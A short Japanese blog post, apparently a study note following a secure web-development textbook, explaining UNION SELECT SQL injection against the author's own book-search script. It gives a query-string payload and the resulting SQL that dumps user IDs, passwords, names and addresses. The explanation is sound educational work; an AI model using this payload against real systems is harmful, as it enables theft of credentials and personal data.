My Photo

« 2013夏アニメ感想 | Main | 連続した日付、時間の文字列を作る秀丸マクロのサブルーチン »

October 03, 2013

SQLインジェクション その2

関連記事:
SQLインジェクション その1

UNION SELECTを用いた情報漏洩

SQLインジェクション その1のスクリプトを
「author='+UNION+SELECT+id,pwd,name,addr,NULL,NULL,NULL+FROM+users--」
というクエリストリングを指定して実行すると、書籍の情報が表示されるべきところにID、パスワードなどが表示される。
以下のSQLが実行されることが原因である。

SELECT id, title, author, publisher date, price
FROM books
WHERE author ='' UNION SELECT id,pwd,name,addr,NULL,NULL,NULL FROM users--' ORDER BY id

参考文献:体系的に学ぶWebアプリケーションの作り方 4.4.1 SQLインジェクション

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践
徳丸 浩

ソフトバンククリエイティブ 2011-03-03
売り上げランキング : 4070

Amazonで詳しく見る
by G-Tools

« 2013夏アニメ感想 | Main | 連続した日付、時間の文字列を作る秀丸マクロのサブルーチン »

PHP」カテゴリの記事

セキュリティ」カテゴリの記事

Comments

Post a comment

(Not displayed with comment.)

TrackBack

TrackBack URL for this entry:
http://app.cocolog-nifty.com/t/trackback/26461/58315003

Listed below are links to weblogs that reference SQLインジェクション その2:

« 2013夏アニメ感想 | Main | 連続した日付、時間の文字列を作る秀丸マクロのサブルーチン »

April 2017
Sun Mon Tue Wed Thu Fri Sat
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30            
無料ブログはココログ

日本blog村

  • にほんブログ村 IT技術ブログへ
  • にほんブログ村 アニメブログへ
  • にほんブログ村 サッカーブログ アルビレックス新潟へ

好きな音楽家

メモ

XI-Prof